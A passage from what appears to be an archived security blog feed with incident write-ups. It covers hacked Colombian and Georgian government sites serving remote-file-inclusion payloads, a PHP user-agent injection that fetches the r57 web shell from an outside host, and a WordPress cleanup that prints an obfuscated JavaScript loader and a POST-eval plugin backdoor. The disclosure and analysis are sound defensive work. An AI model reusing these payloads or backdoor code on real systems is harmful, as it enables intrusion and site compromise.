crimes.&lt;br /&gt;&lt;br /&gt;They have two web sites that are currently hacked: &lt;span style="font-style:italic;"&gt;http://www.delitosinformaticos.gov.co&lt;/span&gt; (related to solving cyber crimes) and &lt;br /&gt;&lt;span style="font-style:italic;"&gt;http://www.frentesdeseguridad.gov.co&lt;/span&gt; (related to security in general). We tried to contact them and got no replies. We would wait a little more to publish it, but since &lt;a href="http://clem1.be/"&gt;clem1&lt;/a&gt; mentioned them on our post about &lt;a href="http://blog.sucuri.net/2010/02/georgia-government-sites-hacked-and.html"&gt;Georgia government sites hacked&lt;/a&gt;, I think it is time to use full-disclosure to get them fixed.&lt;br /&gt;&lt;br /&gt;The first time we saw them was on Dec of last year:&lt;blockquote&gt;a.b.147.154 - - [22/Dec/2009:15:08:51 -0200] "GET //init_basic.php?GALLERY_BASEDIR=&lt;span style="font-weight:bold;"&gt;http://www.frentesdeseguridad.gov.co/administrator//modules/respon1.txt&lt;/span&gt;? HTTP/1.1" 404 36 "-" "Mozilla/5.0"&lt;br /&gt;a.b.147.154 - - [22/Dec/2009:15:08:51 -0200] "GET /xxx/init_basic.php?GALLERY_BASEDIR=&lt;span style="font-weight:bold;"&gt;http://www.frentesdeseguridad.gov.co/administrator//modules/respon1.txt&lt;/span&gt;? HTTP/1.1" 404 36 "-" "Mozilla/5.0"&lt;/blockquote&gt;They were being used in an RFI (remote file inclusion) attack:&lt;blockquote&gt;$ lynx --source --dump &lt;span style="font-weight:bold;"&gt;http://www.frentesdeseguridad.gov.co/administrator//modules/respon1.txt&lt;/span&gt;&amp;lt; ?php /* Fx29ID */ echo("FeeL"."CoMz"); echo("FeeL"."CoMz"); /* Fx29ID */ ?&amp;gt;&lt;/blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_w4XYN7NmRts/S32JRC8lgmI/AAAAAAAAAA0/hHfriT_kYLI/s1600-h/colombia1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 108px;" src="http://1.bp.blogspot.com/_w4XYN7NmRts/S32JRC8lgmI/AAAAAAAAAA0/hHfriT_kYLI/s400/colombia1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5439654850875196002" /&gt;&lt;/a&gt;We kept seeing the same attack for a while, with just a few variations (using file id.txt instead of the respon1.txt):&lt;blockquote&gt;a.b.21.76 - - [27/Jan/2010:09:22:07 -0200] "GET /index.php?option=com_frontpage&amp;Itemid=&amp;mosConfig.absolute.path=&lt;span style="font-weight:bold;"&gt;http://www.frentesdeseguridad.gov.co/administrator/backups/image/id1.txt&lt;/span&gt;?? HTTP/1.1" 404 36 "-" "Mozilla/5.0"&lt;/blockquote&gt;That seemed to have stopped on January 28th. Their web sites even went offline, which I hope they were fixing it. However, on February 14th, it started all over:&lt;blockquote&gt;a.b.147.154 - - [14/Feb/2010:02:49:47 -0200] "GET /xxx//delete_comment.php?board_skin_path=&lt;span style="font-weight:bold;"&gt;http://www.delitosinformaticos.gov.co/foro/avatars/.bbs/id1.txt&lt;/span&gt;??? HTTP/1.1" 404 36 "-" "Mozilla/5.0"&lt;br /&gt;a.b.147.154 - - [14/Feb/2010:02:49:47 -0200] "GET //delete_comment.php?board_skin_path=&lt;span style="font-weight:bold;"&gt;http://www.delitosinformaticos.gov.co/foro/avatars/.bbs/id1.txt&lt;/span&gt;??? HTTP/1.1" 404 36 "-" "Mozilla/5.0"&lt;/blockquote&gt;Same RFI attack:&lt;blockquote&gt;$ lynx --source --dump &lt;span style="font-weight:bold;"&gt;http://www.delitosinformaticos.gov.co/foro/avatars/.bbs/id1.txt&lt;/span&gt;&lt;br /&gt;&amp;lt; ?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?&amp;gt;&lt;/blockquote&gt;Plus, in addition to be hosting the malware, it is also actively scanning/attacking others (their IP is &lt;span style="font-weight:bold;"&gt;200.93.147.154&lt;/span&gt;):&lt;blockquote&gt;200.93.147.154 /xxx///bbs//skin/sirini_simplism_gallery_v4/setup.php?dir=http://xx??&lt;br /&gt;200.93.147.154 /xxx///wedding//index.php?option=com_frontpage&amp;Itemid=&amp;mosConfig.absolute.path=yy??&lt;/blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_w4XYN7NmRts/S32JhTtUjJI/AAAAAAAAAA8/5Qe0pz54iBc/s1600-h/colombia2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 212px;" src="http://1.bp.blogspot.com/_w4XYN7NmRts/S32JhTtUjJI/AAAAAAAAAA8/5Qe0pz54iBc/s400/colombia2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5439655130252479634" /&gt;&lt;/a&gt;What's next? Hopefully they will read it and fix the problem.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-2553443051140243843?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WxLPbXR9SDnzusf4aPmMH0zuHuI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WxLPbXR9SDnzusf4aPmMH0zuHuI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WxLPbXR9SDnzusf4aPmMH0zuHuI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WxLPbXR9SDnzusf4aPmMH0zuHuI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/Pfuz6xywfIQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/2553443051140243843/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/02/colombia-government-sites-hacked-and.html#comment-form" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/2553443051140243843?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/2553443051140243843?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/Pfuz6xywfIQ/colombia-government-sites-hacked-and.html" title="Colombia Government sites hacked (and spreading malware)" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_w4XYN7NmRts/S32JRC8lgmI/AAAAAAAAAA0/hHfriT_kYLI/s72-c/colombia1.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">8</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/02/colombia-government-sites-hacked-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMBR30ycSp7ImA9WxBVFE4.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-3654111477732130177</id><published>2010-02-17T13:02:00.003-05:00</published><updated>2010-02-17T13:14:16.399-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-17T13:14:16.399-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>PHP in the user agent (attacking log analysis tools?)</title><content type="html">Lately I started to see a few web-based attacks with a php script inside the user agent. Something like this:&lt;blockquote&gt;a.b.229.82 - - [19/Jan/2010:22:43:39 -0700] &lt;br /&gt;"GET /index.php?page=../../../../../../../../../../../../../../../../../../../../../../../../..&lt;br /&gt;/../../proc/self/environ HTTP/1.1" 200 3820 "-" "&lt;span style="font-weight:bold;"&gt;&amp;lt; ? echo &lt;br /&gt;'_rce_';echo php_uname();echo '_rce_';$ch=curl_init();curl_setopt($ch, CURLOPT_URL, &lt;br /&gt;'http://websalesusa.com/ken');curl_setopt($    ch, CURLOPT_CONNECTTIMEOUT, 15);curl_setopt($ch, &lt;br /&gt;CURLOPT_TIMEOUT, 15);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$cont=curl_exec($ch);&lt;br /&gt;curl_close($ch);$fh=fopen('doc.php', 'w'    );fwrite($fh, $cont);fclose($fh); ?&amp;gt;&lt;/span&gt; &lt;br /&gt;"&lt;/blockquote&gt;So, inside the user agent it is starting a PHP script that tries to download the file &lt;span style="font-style:italic;"&gt;http://websalesusa.com/ken&lt;/span&gt;, which is the &lt;span style="font-style:italic;"&gt;r57shell.php&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;My guess is that it is trying to exploit a web stats or log analysis tool (like webalizer, google analytics, ossec, etc), but I couldn't find which one is vulnerable to that. Any ideas?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;**this is what the r57shell looks like: &lt;a href="http://sucuri.net/?page=tools&amp;title=blacklist&amp;seeall=1&amp;detail=eadbf8dc38276dba3df4d6db9608db74"&gt;http://sucuri.net/?page=tools&amp;title=blacklist&amp;seeall=1&amp;detail=eadbf8dc38276dba3df4d6db9608db74&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-3654111477732130177?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/m1eznkfoL3YCUesckhIV-piSPps/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/m1eznkfoL3YCUesckhIV-piSPps/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/m1eznkfoL3YCUesckhIV-piSPps/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/m1eznkfoL3YCUesckhIV-piSPps/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/ZLqaDMfBUjA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/3654111477732130177/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/02/php-in-user-agent-attacking-log.html#comment-form" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/3654111477732130177?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/3654111477732130177?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/ZLqaDMfBUjA/php-in-user-agent-attacking-log.html" title="PHP in the user agent (attacking log analysis tools?)" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/02/php-in-user-agent-attacking-log.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0EBR3Y5fCp7ImA9WxBVEks.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-7622235832315022267</id><published>2010-02-15T08:52:00.011-05:00</published><updated>2010-02-15T15:27:36.824-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-15T15:27:36.824-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="honeypot" /><category scheme="http://www.blogger.com/atom/ns#" term="georgia" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><title>Georgia government sites hacked (and spreading malware)</title><content type="html">&lt;span style="font-weight:bold;"&gt;*UPDATE: A few hours after this post, they removed the malware from &lt;span style="font-weight:bold;"&gt;justice.gov.ge&lt;/span&gt; and other sites. I am glad we had some effect.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You know, you would think that after all the attacks that &lt;a href="http://www.smh.com.au/news/technology/georgian-websites-forced-offline-in-cyber-war/2008/08/12/1218306848654.html"&gt;Georgia&lt;/a&gt; &lt;a href="http://www.wired.com/dangerroom/2008/10/government-and/"&gt;suffered&lt;/a&gt; &lt;a href="http://blogs.zdnet.com/security/?p=1670"&gt;in 2008&lt;/a&gt; they would be more careful about the security of their sites.&lt;br /&gt;&lt;br /&gt;Well, not really. Even after I sent a bunch of emails to all their addresses that I could find and &lt;a href="http://twitter.com/sucuri_security/status/8690237598"&gt;requested&lt;/a&gt; on twitter for contacts in the .ge government, nobody replied and they are still hacked, spreading malware and attacking other systems.&lt;br /&gt;&lt;br /&gt;It doesn't look like it is being caused by the Russians or anything like that. And the attackers this time didn't defaced their web page. They just added some malware and scripts to attack others.&lt;br /&gt;&lt;br /&gt;How do I know? We &lt;a href="http://sucuri.net/?page=tools&amp;title=blacklist"&gt;run multiple honeypots&lt;/a&gt; to detect web-based attacks and malware. And guess who started attacking us?&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;span style="font-weight:bold;"&gt;Analysis&lt;/span&gt;&lt;/h2&gt;I started seeing the first attacks on January 12th, trying to load RFI (remote files) from &lt;span style="font-style:italic;"&gt;psg.gov.ge&lt;/span&gt;:&lt;blockquote&gt;a.b.147.154 - - [12/Jan/2010:14:05:43 -0200] "GET ///?_SERVER[DOCUMENT_ROOT]=&lt;span style="font-weight:bold;"&gt;http://www.psg.gov.ge//album/respon1.txt&lt;/span&gt;? HTTP/1.1" 200 6312 "-" "Mozilla/5.0"&lt;br /&gt;a.b..147.154 - - [12/Jan/2010:14:05:46 -0200] "GET /xxx//?_SERVER[DOCUMENT_ROOT]=&lt;span style="font-weight:bold;"&gt;http://www.psg.gov.ge//album/respon1.txt&lt;/span&gt;? HTTP/1.1" 200 7281 "-" "Mozilla/5.0"&lt;/blockquote&gt;A few days later I started seeing more attacks using malware hosted from &lt;span style="font-style:italic;"&gt;www.justice.gov.ge&lt;/span&gt;&lt;blockquote&gt;a.b.63.102 - - [14/Jan/2010:03:04:23 -0200] "GET /xxx*.php?page=&lt;span style="font-weight:bold;"&gt;http://www.justice.gov.ge//album/respon1.txt&lt;/span&gt;?%20? HTTP/1.1" 200 36 "-" "Mozilla/5.0"&lt;/blockquote&gt;That's when I decided to look deeper at the issue. The respon1.txt is a common file used on RFI attacks:&lt;blockquote&gt;$ lynx --dump --source http://www.justice.gov.ge//album/respon1.txt&lt;br /&gt;&amp;lt; ?php /* Fx29ID */ echo("FeeL"."CoMz"); echo("FeeL"."CoMz"); /* Fx29ID */ ?&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;Then I went to look at this "album" directory and that really shocked me. When you visit &lt;span style="font-weight:bold;"&gt;http://www.justice.gov.ge/album/&lt;/span&gt; you can see a full collection of malware:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_w4XYN7NmRts/S3lWqxfS3oI/AAAAAAAAAAs/oguPUMB0DG4/s1600-h/ge-hacked.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 480px; height: 226px;" src="http://1.bp.blogspot.com/_w4XYN7NmRts/S3lWqxfS3oI/AAAAAAAAAAs/oguPUMB0DG4/s320/ge-hacked.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5438473317865676418" /&gt;&lt;/a&gt;&lt;br /&gt;From the &lt;span style="font-style:italic;"&gt;http://www.justice.gov.ge/album/bot.txt&lt;/span&gt; showing credentials to control a botnet, to flooding tools, remote shells, they got everything.&lt;blockquote&gt;servban=array("irc.allnetwork.org","","");&lt;br /&gt;$bot['admin']="E_motz";&lt;br /&gt;$bot['pass']="gila";&lt;br /&gt;$bot['inick']="identnick";&lt;br /&gt;$bot['pnick']="passwordnick";&lt;br /&gt;$bot['basechan']="#vanjava";&lt;/blockquote&gt;A look at the top of the simbah.txt shows a "funny" message: &lt;span style="font-style:italic;"&gt;http://www.justice.gov.ge/album/simbah.txt&lt;/span&gt;&lt;blockquote&gt;# %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%&lt;br /&gt;# % private hackers pwned your box %&lt;br /&gt;# %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%&lt;/blockquote&gt;Even a remote proxy is there at http://www.justice.gov.ge/album/proxy.tgz&lt;br /&gt;&lt;h2&gt;&lt;span style="font-weight:bold;"&gt;Attacking others&lt;/span&gt;&lt;/h2&gt;If that was not bad enough, by the end of January I started to see their own IP addresses attacking others:&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;87.253.63.102&lt;/span&gt; - - [01/Feb/2010:04:41:09 -0200] "GET //include/write.php?dir=http://www.gk-rus.ru/images/laknat/.id?? HTTP/1.1" 200 36 "-" "libwww-perl/5.805"&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;87.253.63.102&lt;/span&gt; - - [01/Feb/2010:04:41:09 -0200] "GET /xxx/include/write.php?dir=http://www.gk-rus.ru/images/laknat/.id?? HTTP/1.1" 200 36 "-" "libwww-perl/5.805"&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;81.95.173.72&lt;/span&gt; - - [23/Jan/2010:16:07:29 -0200] "GET /xxx/index.php?_REQUEST=&amp;_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&amp;GLOBALS=&amp;mosConfig_absolute_path=http://krupuk.110mb.com/res1.txt?%20? HTTP/1.1" 200 36 "-" "Mozilla/5.0"&lt;/blockquote&gt;&lt;br /&gt;So, at the end, we have some sites from the Georgia government hosting malware and these 4 attacking others:&lt;br /&gt;&lt;blockquote&gt;www.psg.gov.ge - 87.253.63.102 (redirects now to justice.gov.ge)&lt;br /&gt;www.justice.gov.ge - 87.253.63.102&lt;br /&gt;moh.gov.ge - 81.95.173.72&lt;br /&gt;mail.justice.gov.ge - 87.253.63.100&lt;/blockquote&gt;&lt;br /&gt;If you have any contact at the Georgie government, let them know about this post. I have been trying to speak with someone since January without success. Maybe with some extra exposure they will notice and fix it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-7622235832315022267?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lWtyEw89470UD8iR_4PW4P1d0RI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lWtyEw89470UD8iR_4PW4P1d0RI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lWtyEw89470UD8iR_4PW4P1d0RI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lWtyEw89470UD8iR_4PW4P1d0RI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/cZSmdNw1z0g" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/7622235832315022267/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/02/georgia-government-sites-hacked-and.html#comment-form" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7622235832315022267?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7622235832315022267?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/cZSmdNw1z0g/georgia-government-sites-hacked-and.html" title="Georgia government sites hacked (and spreading malware)" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_w4XYN7NmRts/S3lWqxfS3oI/AAAAAAAAAAs/oguPUMB0DG4/s72-c/ge-hacked.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/02/georgia-government-sites-hacked-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkAGSXo-eip7ImA9WxBWGUQ.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-7166602154274672265</id><published>2010-02-12T11:05:00.011-05:00</published><updated>2010-02-12T13:18:48.452-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-12T13:18:48.452-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordpress" /><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><title>Removing malware from a Wordpress blog - Case study</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_w4XYN7NmRts/S3V9j0FsU_I/AAAAAAAAAAk/DSnAJSEMI50/s1600-h/reported-attack-site1.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 127px;" src="http://3.bp.blogspot.com/_w4XYN7NmRts/S3V9j0FsU_I/AAAAAAAAAAk/DSnAJSEMI50/s320/reported-attack-site1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5437390179351155698" /&gt;&lt;/a&gt;&lt;br /&gt;Early this week we were hired to remove some malware from a quite popular web site. The malicious code was there for a little while and the site got blacklisted by google. That's how the owner noticed it.&lt;br /&gt;&lt;br /&gt;Everytime someone tried to visit it (either using Chrome or Firefox) or searched for this site on google, that ugly message would show up: &lt;span style="font-weight:bold;"&gt;Report attack Site&lt;/span&gt;. &lt;br /&gt;&lt;br /&gt;Uh-oh, not good for a site owner that makes money with ads and can't afford losing users. If they had been using our &lt;a href="http://sucuri.net"&gt;Web-based Integrity monitor&lt;/a&gt;, that would not have happened, but since they didn't, now it was time to fix the problem.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1-Understanding the problem&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The first thing we did was to look where and how the code was showing up. We used a simple dump tool to see the source page (lynx is a command-line tool available on most Linux systems):&lt;blockquote style="font-size:12px;"&gt;&lt;span style="font-weight:bold;"&gt;$lynx --source --dump [siteinquestion]&lt;/span&gt;&lt;/blockquote&gt;It shows the whole page source and by analyzing it we saw the following strange javascript (a bit modified to protect the innocent):&lt;blockquote style="font-size:12px"&gt;&lt;br /&gt;(function(){var OgDs='%';var FJQr=('v_61r_20_61_3d_22Scr_69ptEn_67_69ne_22_2c_62_3d_22_56ers_69on()+_22_2cj_3d...  _64ex_4ff(_22Chrome_22_29_3c0)_26_26(u_2ei_6ede_78_4ff(_22_57_69_6e_22)_3e0)..&lt;br /&gt;_3b_7d').replace(/_/g,OgDs);var NF1=unescape(FJQr);eval(NF1)})();&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2-Analyzing the javascript&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are multiple ways to analyze a malicious Javascript, and we chose the easier one. We see that they added an escaped javascript, unescaped and used the function eval to parse the content. I copied over the javascript to a local file and modified the final "eval" function for the "alert" one. Now, instead of executing the code, it will print it.&lt;blockquote style="font-size:12px"&gt;&lt;br /&gt;var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")&lt;0)&amp;&amp;(u.indexOf("Win")&gt;0)&amp;&amp;(u.indexOf("NT 6")&lt;0)&amp;&amp;(document.cookie.indexOf("miek=1")&lt;0)&amp;&amp;(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("src=//martu"+"z.cn/vid&lt;\/ script&gt;");}&lt;br /&gt;&lt;/blockquote&gt;So, the unescaped code loads another script from the site martuz.cn. After searching a bit, this seems to be an old attack (from mid-2009), that somehow is still running around. The martuz.cn is now unreachable, so the good news is that the attack is not doing anything against the users.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3-Cleaning up Wordpress&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Once we found what the code was and what it was doing, now it was time to remove it from the site. That's what we did:&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Backup the whole Wordpress database (using the Export tool and via an SQL dump)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Back the whole Wordpress directory for analysis and removed it from the site&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Changed all passwords, unused accounts and services and cleaned up the box&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Reinstalled Wordpress from scratch (last version), re-imported the database (after checking that it was safe) and reinstalled their theme from scratch (to make sure it was not hacked too).&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Worked with Google to get the site removed from their blacklist&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4-Analysis of the malware&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Once the site was clean and the client happy, we went to do a better analysis of the attack. First, we did a diff between their Wordpress version and the original one (they were on version 2.8):&lt;blockquote style="font-size:12px"&gt;&lt;span style="font-weight:bold;"&gt;$ diff -r -i --strip-trailing-cr -b -B sitedump/public_html wordpress&lt;/span&gt;&lt;br /&gt;Only in sitedump/public_html/wp-content/plugins: multi-level-navigation-plugin1&lt;br /&gt;Only in sitedump/public_html/wp-content/plugins: order-categories&lt;br /&gt;Only in sitedump/public_html/wp-content/plugins: seo-automatic-links&lt;br /&gt;Only in sitedump/public_html/wp-content/plugins: wp-contact-form&lt;br /&gt;Only in sitedump/public_html/wp-content/plugins: wp-db-backup&lt;/blockquote&gt;We also did a diff between the original theme and the one they used and no major changes were found. With that, it was clear to us that the problem was in one of the plugins.&lt;br /&gt;&lt;br /&gt;We started by searching for that javascript code in the plugins directory and nothing was returned. That means that the code was probably escaped (hidden) in some way. So we searched for&lt;br /&gt;base64_decode or eval (PHP functions generally used by malware authors):&lt;blockquote style="font-size:12px"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;multi-level-navigation-plugin1/images/image.php&lt;/span&gt;:&lt; ? php eval(base64_decode('aWYoaXNzZXgkX..IzMDM4MmUzMjMxMzIzYTY0Njk2ODY1NzQ2MTcyNjkzYTYyNzQ2YzY0NmY3YTY1NzInOw==')); ?&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;multi-level-navigation-plugin1/images/gifimg.php&lt;/span&gt;:&lt; ? php eval(base64_decode('aWYoaXNzZX..zZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;wp-db-backup/wp-db-backup.php&lt;/span&gt;:&lt; ? php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc..2NyaXB0PjwhLS0gCPC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#&amp;lt; script(.*?)&amp;lt;/ script&gt;#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))&gt;5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/&lt;&gt;\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&amp;&amp;($e||strpos($v,'fromCharCode')))||($e&amp;&amp;strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#&amp;lt; script language=javascript&gt;&amp;lt; !-- \n\(function\(.+?\n --&gt;&amp;lt;/ script&gt;#','',$s);if(stristr($s,'&amp;lt; body'))$s=preg_replace('#(\s*&amp;lt; body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,' &amp;lt; /body')||stristr($s,'&amp;lt; /title&gt;'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&amp;&amp;$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i&gt;=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i&amp;lt;count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?&amp;gt;&lt;/blockquote&gt;So, these 3 files 